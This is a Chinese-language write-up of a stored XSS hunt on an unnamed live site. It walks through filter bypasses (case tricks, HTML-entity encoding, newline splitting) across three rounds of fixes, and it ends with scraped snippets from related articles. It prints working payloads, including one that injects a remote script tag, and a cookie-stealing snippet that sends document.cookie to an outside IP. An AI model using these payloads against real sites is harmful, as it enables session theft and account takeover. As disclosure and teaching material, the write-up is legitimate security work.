exp2:// 一次存储型XSS从易到难的挖掘过程

一日在某站点发现一个找茬活动,感觉是另类的src就参与了一下。就发生了这次有趣的XSS测试过程。

0×00 开始

(注意1)XSS不仅存在于页面上直观所在的位置,所有用户输入的信息都有可能通过不同形式返回到页面上,因此直接操作数据包来查找XSS显得更加有效。

回到该站点,在该站点一处生成app处存在一处忘记过滤。

发送的数据包如下:

  1. appName=TEST&icon=&loadimage=%2Ftemplate201309%2F29%2Floadimage%2F1a8aaba1-42bd-401b-9995-0f7ba08f191b.png&diyAppid=0210bd39-de98-4a1b-b855-4b0a0732894a

经过测试发现其中loadimage参数未经过过滤,这也就是我说的隐藏的输入输出位,最终直接构造:

  1. loadimage=xxxxx"%20onerror="alert(1)"

  

0×01 觉醒

在漏洞上报之后,程序员觉醒了,由于涉及其它页面参数输出过滤的影响,无法直接使用粗暴的编码把”(双引号)过滤,而是使用一定的过滤规则来规避xss攻击。

(注意2)XSS绕过一般针对于程序员所使用的过滤规则的疏漏,但是首要目标应该是在程序员未过滤的点上,而只有规则的不严谨才有绕过的可能。

在得到客服的回复确认漏洞修复之后,再次回到该点进行测试,继而发现了有趣的情况。

测试代码:

  1. loadimage=xxxxx"%20onerror="alert(1)" à  <img class="appicon_img" src="xxxxxx" ***(1)>

经过这个测试用例发现,在空格之后的内容经过了一次处理,将其中alert替换成了***,onerror=直接删除。

分析发现空格之后的内容会被直接删除,onXXX被直接删除。

于是结合过往经验,使用大小写来尝试绕过字符串替换。

测试代码:

  1. loadimage=xxxxx"onError="alert(1)" à<img class="appicon_img" src="xxxxxx"onError=”***(1)”>

于是我们利用了浏览器的一个特性,在解析的时候将双引号与其后内容分割,所以在源码中是:

  1. <img class="appicon_img" src="xxxxxx"onError=”***(1)”>

而解析过程中显示:

  1. <img class="appicon_img" src="xxxxxx" onError=”***(1)”>(自动添加空格)

之后就是要构造我们的alert。(只有alert才是我想要的,什么prompt,confirm都不是我想要的。)

这里要说到的就是转编码的利用。

详文可参考:

http://drops.wooyun.org/tips/689

处于html上下文的字符串将会优先进行一次html解码,而处于onXXXX、javascript:、script等标签之中的则处于javascript上下文,其中变量字符串将会执行一次javascript解码。

运用这个特性,我们可以在onerror事件当中使用html编码来构造任意字符,而其中所必须的字符为&,很幸运的时该字符并未被过滤。因此我可以使用其构造任意字符,达到绕过的效果。

直接构造:

  1. loadimage=xxxxx"onError="%26#x61lert(1)"

0×02 绝杀

再次提交客服,并得到修复确认后,又进行了一次测试,之后继续有趣。

(注意3)确定过滤规则是绕过限制的第一步,通过已知规则构造绕过payload来生成所需字符为最终目的。

绕过富文本大概的思路就是这样。

继续通过输入不同字符串来检查新增的过滤规则,最终得到几条有用的信息:

  1. <img src="1"onerroonerrorr=r= /> ==> <img src="1"onerror>
  2. <img src="1"onerror===”xxx” /> ==> <img src="1" =”xxx” />

本以为结合一下就成了,没想到变成这样:

  1. <img src="1"onerroonerrorr=r= onerror===”xxx”/> ==> <img src="1" />

初步分析等到的规则:

1、onxxx= 将会去除on以及=和它们之间的内容

2、有 = 号就会检查前面有没有on

3、tab %20(空格)之后的内容全部清除

4、碰到双引号就停止删除

大概统计了一下以上的过滤规则,就可以开始构造payload了。

使用src=”1″onerroonerrorr=r生成onerror。

使用%0a(换行)来分割导致过滤不起作用。

最终完成了整条payload:

  1. <img src="1"onerroonerrorr=r%0a="prompt(/just kidding!/)" />

(这次不计较与alert了,使用上一条方法即可。)

最终截图:

同样可以解析成功!

0×03 利用

完整的XSS一定需要附带利用的过程,可完整构造payload还需要考虑很多情况,比如关键字符串的替换、输出点允许的最大字长、是否可影响其他用户或管理员。

最终侦查该点,长度为262个字符,替换了script、create等字符,不过通过之前记录下来的方法完全可以利用。

Payload:

  1. <img/src="1" onerroonerrorr=r%0a="window.s=document.cre%26#61teElement(String.fromCh%26#61rCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(1,2,3,4,5,6,7,8);document.body.%26#61ppendChild(window.s)">

即使你的xss平台URL很长,也可以通过利用短域名压缩的方式达到一个较低的水平。

0×04 总结

新手在找XSS的时候总是存在一些盲点,无法全面的获取用户输入位以及该点的输出页面,对于存储型XSS来说,输出的页面不局限于当前页面。

探查程序的代码逻辑是绕过的根本,fuzz虽然提高了效率,但是想要准确的发现问题必须有要针对性的构造语句。

另外一些领悟可以移驾gainover所写的一篇短文:

http://zone.wooyun.org/content/1557

0×05 后话

最后一次绕过是在5.12,不知道之后该站程序员会怎么样去处理这个问题。

时间: 2024-10-05 06:17:27

exp2:// 一次存储型XSS从易到难的挖掘过程的相关文章

小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF

存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留言板等位置 *推荐使用burpsuite a.观察返回结果,是否原封不动地返回输入数据?是否有其他标签 js代码通过留言板存储在服务器中,所以每次点击留言板链接,都会弹出xss弹窗 b.测试加载攻击者控制的服务器中的js文件 #启动apache2[默认侦听80端口] a.js [盗取客户端cooki

DocCms存储型XSS+后台任意文件下载上传+目录删除+sql执行(有条件可getshell)

下载链接 https://share.weiyun.com/46ebceb4fe91da144ad2661522a941e1 留言处存储型XSS 漏洞在content/guestbook/index.php function create() { echo 123; global $db,$request; if ($_SESSION['verifycode'] != $request['checkcode']) { echo '<script>alert("请正确填写验证码!&qu

存储型xss调研

概念 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行. 常见的xss攻击方法 1. 绕过XSS-Filter,利用<>标签注入Html/JavaScript代码: 2. 利用HTML标签的属性值进行xss攻击.例如:<img src="javascript:alert('xss')"/>:(当然并不是所有的Web浏览器都支持Javascr

Java Web开发 - 持久型/存储型XSS漏洞

1.什么是XSS漏洞攻击? XSS是跨站脚本攻击(Cross Site Scripting)的简称,之所以叫XSS而不是CSS相比大家都能明白了吧,那就是为了跟层叠样式表(Cascading Style Sheets,CSS)区别. 2.XSS漏洞攻击的原理 恶意攻击者往web页面中插入恶意HTML代码,当用户浏览该web页面时,嵌入到该web页面的恶意HTML代码就会被执行,从而达到恶意攻击用户的特殊目的. XSS漏洞又分为两类,一类是持久型/存储型XSS,另一类是反射型XSS: 1)持久型/

一次解决存储型xss和csrf漏洞的简单方法

目前我知道的,存储型xss解决方法:过滤转义用户输入的脚本.标签,csrf漏洞解决方法:校验referer.加token.加验证码 而referer校验是针对存在referer的情况,因为某些请求的head里没有referer,这时不能判断请求是非法的:加token,保存在哪是个问题,如果保存在session中,当集群部署时,session不同步会导致客户端的token与处理请求的服务器的token不一致:加验证码同样的道理,而且对用户体验非常不好. 由于xss和csrf都是改变用户请求参数来达

Coremail邮件系统存储型XSS两个

(1):Coremail邮件系统存储型XSS之一 给受害者发送主题如下的邮件: <svg onload='img=new Image();img.src="//x55.me/geo.php?get="+document.cookie;'> 当受害者试图打开邮件时,cookie将会被窃取: (2):Coremail邮件系统存储型XSS之二 将特制的swf文件作为附件发送给受害者(这里可以选择在过节的时候下手,比如将文件名改称新年贺卡.swf): swf文件的AS代码如下(将就

WordPress &lt;4.1.2 &amp; &lt;=4.2 存储型xss(利用mysql对特殊字符和超长字符会进行截断的特性)

转自:Baidu Security LabXteam http://xteam.baidu.com/?p=177 漏洞概述 本次漏洞出现两个使用不同方式截断来实现的存储型xss,一种为特殊字符截断,一种为数据库字段长度截断,该漏洞导致攻击者可获取用户 cookie以及模拟浏览器正常操作,并且当管理员访问到注入的payload时,结合wordpress后台功能甚至可以getshell. 漏洞分析 1.字符截断 通过官网介绍“The character set named utf8 uses a m

WordPress &lt; 4.1.2 存储型XSS漏洞

WordPress < 4.1.2 存储型XSS漏洞 0x00 原理 最近几天爆出来的,今天才看.网上的分析也有很多了估计,我也发一篇好了233333因为确实很经典,思路很不错.具体的细节看老外写的,请戳: https://cedricvb.be/post/wordpress-stored-xss-vulnerability-4-1-2 这次主要是Mysql中的UTF-8只支持3个byte,如果需要支持4个byte的编码,则需要使用utf8mb4.不开启strict code(默认为Off)的时

【安全牛学员笔记】存储型XSS和BEEF浏览器攻击框架

存储型XSS 长期存储于服务器端 每次用于访问都会被执行javascript脚本 Name:客户端表单长度限制 客户端.截断代理 <script src=http://1.1.1.1/a.js></script> a.js源码 var img = new Image(); img.src = "http://1.1.1.1:88/cookies.php?cookie="+documnet.cookie; [email protected]:~# netstat